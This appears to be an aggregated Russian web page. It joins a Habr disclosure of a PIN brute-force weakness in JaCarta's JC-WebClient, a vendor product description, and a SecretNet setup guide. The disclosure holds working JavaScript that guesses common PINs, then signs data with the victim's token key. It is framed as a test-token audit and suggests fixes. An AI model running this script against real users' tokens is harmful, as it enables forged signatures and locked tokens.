«Когда на мгновение чёрный покров отнесло в сторону, Маргарита на скаку обернулась и увидела, что сзади нет не только разноцветных башен с разворачиващимся над ними аэропланом, но нет уже давно и самого города, который ушёл в землю и оставил по себе только туман.»
М.А. Булгаков
«Мастер и Маргарита»
Привет, Хабр! Наверное почти в каждой российской организации есть эти изделия в весёлой разноцветной раскраске. Речь идёт об изделиях JaCarta и софте к ним. Привалило такое счастье и мне, и я решил немного раздвинуть чёрный покров скрывающий их сущность, сиречь API. Некоторые банки, особенно выдающие своим клиентам токены JaCarta ГОСТ-2, для работы требуют установки приложения JC-WebClient от «Аладдин Р.Д.».
Хотя на официальном сайте разработчика свежего дистрибутива нет (в разделе Демо можно скачать более старую версию, но она использует устаревший API), дистрибутив можно найти с помощью гугла по строке «JC-WebClient-4.0.0.1186» на сайтах ДБО.
После установки приложения на компе пользователя открывается порт 24738 на котором работает этот клиент.
Подключение СБИС к ЕГАИС: JaCarta
На сайте разработчика открыто и подробно описан API этого приложения (как и функции работы с файловой системой всей линейки токенов этого производителя через jcFS.dll, входящей в установочный пакет «Единый клиент JaCarta») и суть в том, что с помощью ряда функций можно или подписать ЭЦП находящейся на токене что угодно, подобрав пин код, или заблокировать токен неудачными попытками его ввода. И всё это дистанционно, через интернет.
Не секрет, что пользователи часто оставляют у токена пин код по умолчанию, или тот с которым его получили (обычно боятся, что при смене пин кода всё перестанет работать).
Чаще всего используются пин коды вида 123456, а токен в течении рабочего дня, а то и круглосуточно, воткнут в порт компа или usb хаба.
Благодаря JC-WebClient, если такому пользователю подсунуть вебстраницу или письмо с нехитрым JavaScript’ом, то появляется возможность хотя и не получить ключи токена (это в ряде случаев возможно только путём непосредственного доступа к файловой системе токена, пример здесь уже давался), но попытаться подобрать пин код и подписать какие-либо данные и куда-то их отправить.
В случае 10 неудачных попыток перебора токен блокируется, и как часто это бывает, если не установлен пин код администратора для разблокировки, то поможет только инициализация. А это не в срок уплаченные налоги (и как результат пени и даже блокировка расчётного счёта организации налоговой), неустойки от поставщиков, в общем хорошего мало.
Проблему с перебором пин кода можно было бы решить или сделав возможность его ввода только через интерфейсное окно JC-WebClient, или как полумера, в случае например 3-х неудачных попыток его ввода, блокировать дальнейшую авторизацию, выведя сообщение пользователю, и ожидать пока он не подтвердит свои действия.
Криптопро не определяет ключ JaCarta
Я написал небольшой тестовый скрипт, который показывает эту уязвимость. Скрипт работает на всех современных и относительно современных браузерах, даже IE 🙂
Естественно он ничего никуда не отправляет, а просто выводит на экран результаты работы последовательности функций.
В скрипте реализован полный перебор 10 попыток ввода пин кода «на убой» токена, поэтому запускать скрипт можно только с тестовым токеном!
Также следует помнить, что применение этого скрипта иначе кроме как на собственном тестовом токене является нарушением законодательства.
Скрипт генерации ключевой пары и сертификата средствами JC-WebClient для тестирования.
Использовать можно EToken PRO Java 72 K, JaCarta ГОСТ, JaCarta ГОСТ-2. Токен должен быть предварительно инициализирован с пин кодом пользователя 111111.
Перед началом тестирования необходимо установить JC-WebClient версии не ниже 4.
//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write(«JC-WebClient был успешно инициализирован»+» «); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(«Версия JCWebClient2 » + vers +» «); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write(«Подключено токенов: «+slots.length+» «); //Выводим модель токенов for (i = 0; i < slots.length; i++) < var slot = slots[i]; document.write(«Токен: «+slot.device.name+» «+slot.device.model+» «); >var tokenID = slot.id, // Идентификатор токена userPin = ‘111111’; // PIN-код пользователя // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write(‘1) Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); // Предъявить PIN-код JCWebClient2.bindToken( < args: < tokenID: tokenID, pin: userPin >>); // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write(‘2) Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); // Создать контейнер с ключевой парой и присвоить ему имя var keyPairID = JCWebClient2.createKeyPair( < args: < paramSet: «XA», description: «my description», algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 >>); // Задать отличительное имя пользователя (Distinguished Name (DN)), // включающее стандартное имя (Common Name, (CN)) var dn = < ‘CN’: ‘123’, ‘C’: ‘RU’ >; // Задать расширения, определяющие область применения закрытого ключа var exts = < ‘keyUsage’: ‘Digital Signature’ >; // Записать сертификат var contID = JCWebClient2.generateUserSelfSignedCertificate( < args: < keyPairID: keyPairID, dn: dn, exts: exts, days: 365 >>); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList( < args: < tokenID: tokenID >>); //Получаем id и информацию о созданном контейнере var data = list[0]; var contID = data.id; document.write(«ID контейнера: «+data.id+» «); document.write(«Описание контейнера: «+data.description+» «); document.write(«Алгоритм подписи: «+data.algorithm+» «); // Отменить ввод PIN-кода JCWebClient2.unbindToken();
И собственно сам скрипт аудита безопасности:
//Инициализация JCWebClient2 JCWebClient2.initialize(); document.write(«JC-WebClient был успешно инициализирован»+» «); //Получаем версию JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(«Версия JCWebClient2 » + vers +» «); //Получаем доступ к слотам и определяем число подключенных токенов var slots = JCWebClient2.getAllSlots(); document.write(«Подключено токенов: «+slots.length+» «); //Выводим модель токенов for (i = 0; i < slots.length; i++) < var slot = slots[i]; document.write(«Токен: «+slot.device.name+» «+slot.device.model+» «); >// Идентификатор токена var tokenID = slot.id; // Проверить текущее состояние аутентификации на токене // (должно равняться JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write(‘Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); //Массив информации на токенах var list=[]; //Получаем список контейнеров list = JCWebClient2.getContainerList( < args: < tokenID: tokenID >>); //Получаем id и информацию о контейнере var data = list[0]; var contID = data.id; document.write(«ID контейнера: «+data.id+» «); document.write(«Описание контейнера: «+data.description+» «); document.write(«Алгоритм подписи: «+data.algorithm+» «); // Данные для подписи (Hello World закодированное Base64) var dataToSign = ‘SGVsbG8sIFdvcmxkIQ==’; document.write(«Данные для подписи: «+dataToSign+» «); //Массив пин кодов var pin=[«1234567890», «123456», «1234567», «12345678», «123456789», «0987654321», «111111», «qwerty», «012345», «0123456», «01234567»]; //функция авторизации function bind(pass) < JCWebClient2.bindToken(< args: < tokenID: tokenID, pin: pass >>); > var i=0; //Перебор пин кодов в цикле //Осторожно! При 10 неверных попытках токен блокируется. while (i < 10) < i++; try< bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //Если атака удалась, выводим результат и завершаем цикл if(tokenState.state=1) < document.write(«Успешно подобран пин код: «+pin[i]+» «); break; >> //Вывод информации об ошибке catch(e) > // Проверить изменившееся состояние // (должно равняться JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write(‘Token is binded: ‘ + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+» «); //Получаем содерижимое сертификата var CertificateBody=JCWebClient2.getCertificateBody( < args: < id: contID >>); document.write(«CertificateBody: «+CertificateBody+» «); // Подписать данные, используя программное хэширование и вывести подписанное в Base64 var signedData = JCWebClient2.signBase64EncodedData( < args: < contID: contID, data: dataToSign, attachedSignature: true >>); document.write(«Подписано успешно. «); document.write(«Подписанные данные: «+signedData+» «); //Проверка подписи var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData( < args: < signature: signature >>); document.write(«Результат проверки подписи: «+res+» «); // Отменить ввод PIN-кода JCWebClient2.unbindToken();
- etoken
- jacarta
- информационная безопасность
- Информационная безопасность
- Тестирование IT-систем
- JavaScript
- Расширения для браузеров
Источник: habr.com
ПК «Единый Клиент JaCarta»
ПК «Единый Клиент JaCarta» — программный комплекс, предназначенный для настройки и работы со всеми моделями USB-токенов и смарт-карт JaCarta и eToken PRO (Java) в операционных системах семейства Microsoft Windows.
- Настройка USB-токенов и смарт-карт
- Поддержка всех устройств JaCarta и eToken PRO (Java)
- Работа с отечественными и зарубежными криптоалгоритмами в одном интерфейсе
- Удобство использования для рядовых пользователей и администраторов
- Работа с контейнерами КриптоПро CSP из единого интерфейса
- Поддержка модулей криптопровайдеров (КриптоПро CSP, Signal-COM CSP и др.)
- Возможности
- Преимущества
- Сертификаты
- Технические требования
ПК «Единый Клиент JaCarta» объединяет в себе все необходимые инструменты для настройки и работы с устройствами (USB-токенами и смарт-картами) семейств JaCarta и eToken PRO (Java). С его помощью можно быстро и легко:
- установить или изменить PIN-коды пользователя и администратора;
- получить полную информацию об устройстве (название, модель, серийный номер, хэш-алгоритм подписи, объём свободной памяти и т.д.);
- разблокировать устройство;
- инициализировать (персонализировать) устройство с заданными настройками;
- просмотреть, импортировать или экспортировать хранимые в устройстве объекты (цифровые сертификаты, пароли, лицензии и т.д.);
- провести диагностику работы устройств.
Поддерживается работа с известными криптопровайдерами (CSP) без установки дополнительного программного обеспечения, например, с КриптоПро CSP, Signal-COM CSP, ViPNet CSP и др.
ПК «Единый Клиент JaCarta» может работать в двух режимах.
- Режим пользователя позволяет просматривать краткие сведения о подсоединённых USB-токенах/смарт-картах и предоставляет доступ к базовым операциям с ними.
- Режим администрирования позволяет просматривать полные сведения о подсоединённых USB-токенах/смарт-картах и предоставляет доступ ко всем операциям с ними.
- Единое прикладное программное обеспечение для разных моделей USB-токенов и смарт-карт JaCarta и eToken PRO (Java).
- Поддержка устройств как c российской, так и с зарубежной криптографией.
- Работа с комбинированными USB-токенами и смарт-картами (например, JaCarta-2 PKI/ГОСТ) в одном окне
- Две версии интерфейса: упрощённый — для рядовых пользователей и расширенный — для продвинутых пользователей (администраторов).
- Возможность создания запроса на цифровой сертификат.
- Работа с популярными криптопровайдерами, например, с КриптоПро CSP.
Сертификат соответствия ФСТЭК России № 3449 подтверждает, что ПК «JaCarta» версии 1.5 в составе USB-токенов, смарт-карт и программного обеспечения «Единый Клиент JaCarta» соответствует требованиям руководящего документа «Защита от несанкционированного доступа к информации. Часть 1. Программное обеспечение средств защиты информации. Классификация по уровню контроля отсутствия недекларированных возможностей» (Гостехкомиссия России, 1999) — по 4 уровню контроля и технических условий.
ПК «JaCarta» версии 1.5 предназначен для защиты информации, не содержащей сведений, составляющих государственную тайну, и может применяться в автоматизированных системах до класса защищённости 1Г включительно, в государственных информационных системах до 1 класса защищённости включительно, а также в информационных системах персональных данных до 1 уровня защищённости включительно.
- Microsoft Windows 10;
- Microsoft Windows 8.1;
- Microsoft Windows 8;
- Microsoft Windows 7 SP1;
- Microsoft Windows Vista SP2;
- Microsoft Windows XP SP3 (32-бит), SP2 (64-бит);
- Microsoft Windows Server 2016;
- Microsoft Windows Server 2012 R2;
- Microsoft Windows Server 2012;
- Microsoft Windows Server 2008 R2 SP1;
- Microsoft Windows Server 2008 SP2;
- Microsoft Windows Server 2003 SP2.
- Для USB-токенов — USB-порт.
- Для смарт-карт необходимо наличие подключённого считывателя смарт-карт.
- Для электронных ключей в форм-факторе microSD можно использовать следующее оборудование:
- разъём microSD;
- разъём SD через переходник microSD-to-SD;
- JaCarta-2 ГОСТ;
- JaCarta-2 PKI/ГОСТ;
- JaCarta-2 PKI/BIO/ГОСТ;
- JaCarta-2 PRO/ГОСТ;
- JaCarta PKI;
- JaCarta PKI/BIO;
- JaCarta ГОСТ;
- JaCarta PKI/ГОСТ;
- JaCarta PKI/BIO/ГОСТ;
- JaCarta PRO;
- JaCarta PRO/ГОСТ;
- JaCarta PKI/Flash;
- JaCarta ГОСТ/Flash;
- JaCarta PKI/ГОСТ/Flash;
- JaCarta WebPass;
- JaCarta U2F;
- JaCarta U2F/WebPass;
- JaCarta LT;
- JaCarta CryptoPro.
- eToken ГОСТ;
- eToken Anywhere;
- eToken PRO (Java);
- eToken NG-Flash (Java);
- eToken NG-OTP (Java) * ;
- eToken CryptoPro.
* без поддержки функциональности OTP
Источник: it-enigma.ru
Инструкция по установке JaCarta ГОСТ в связке с SecretNet 7
- Запустите SpIDer Agent, нажав значок на панели задач в области уведомлений.
- Разблокировать SpIDer Agent для внесения изменений нажав кнопку «замок»
- В появившемся окне нажать значок «Настройки»
- В появившемся окне выбрать опцию Компоненты защиты
- В появившемся окне выбрать опцию «Превентивная защита» и установить параметр «Разрешать» в соответствии с рисунком ниже:
- Первичная инициализация токенаJaCarta
- Запустите ПО Единый клиент JaCarta
- Предъявите (подключите к usb порту) токен JaCarta
- Переключитесь в режим администрирования, нажав в нижнем левом углу ссылку окна «Переключиться в режим администрирования»
- Перейдите на вкладку «ГОСТ» и нажмите «Инициализировать»
- Введите pin-код администратора «1234567890»
- Введите «Имя токена» «1234567890»
- Поставьте галку на «Установить pin-код пользователя»
- Введите pin-код пользователя «1234567890» дважды.
- В окне предупреждения об очистке токена нажмите «Продолжить», далее должно появиться уведомление «Приложение успешно проинициализировано».
- НастройкаSecretNet для установки параметров идентификации и аутентификации пользователя.
Подразумевается, что СЗИ Secret Net установлен в систему, и заведены необходимые пользователи.
Чтобы инициализировать токен средствами СЗИ выполните следующие действия:
- Запустите оснастку «Управление компьютером» (Win+R –> compmgmt.msc).
- Зайдите в раздел «локальные пользователи»: Управление компьютером-> Служебные программы -> Локальные пользователи -> Пользователи.
- Выберите нужного пользователя.
- Перейдите в свойства выбранного пользователя: Нажмите правой кнопкой мыши -> Свойства
- Перейдите на вкладку «Secret Net 7» в разделе «Идентификатор»
- Нажмите кнопку «Инициализировать…» -> предъявите (подключите к usb порту) токен JaCarta -> подождите пока появиться идентификатор в списке (не более 1 мин)
- Нажмите «ОК»
- После того как статус перейдет в состояние обработан, нажмите кнопку «закрыть».
- На той же форме нажмите кнопку «Добавить» -> Откроется «Мастер присвоения персональных идентификаторов»
- Проставьте все галки:
Включить режим хранения пароля;
Записать пароль в идентификатор;
Записать в идентификатор закрытый ключ пользователя.
- Нажмите «Далее»
- Введите пароль пользователя и нажмите «ОК»
- При смене статуса – Ввод пароля пользователя на «выполнено», нажмите «Далее».
- При появлении идентификатора в списке нажмите «ОК»
- После того как статус перейдет в состояние обработан, нажмите кнопку «закрыть».
- Результатом будет идентификатор присвоенные пользователю:
Чтобы настроить параметры идентификации и аутентификации пользователя, выполните следующие действия:
Запустите «Локальную политику безопасности»: Пуск -> Код безопасности -> Secret net -> Локальная политика безопасности -> Параметры Secret Net -> Настройки подсистем
Настройте параметры политик входа в систему согласно требованиям:
Для проверки работы токена JaCarta выполните следующие действия:
- измените «Режим идентификации пользователя» на «Смешанный», способом описанном в пункте 3.
- перезагрузите компьютер
- предъявите (подключите к usb порту) токен JaCarta
Если удалось войти в ОС без ручного ввода пароля, то проверка работы механизмов идентификации и аутентификации успешен.
Источник: www.itworkroom.com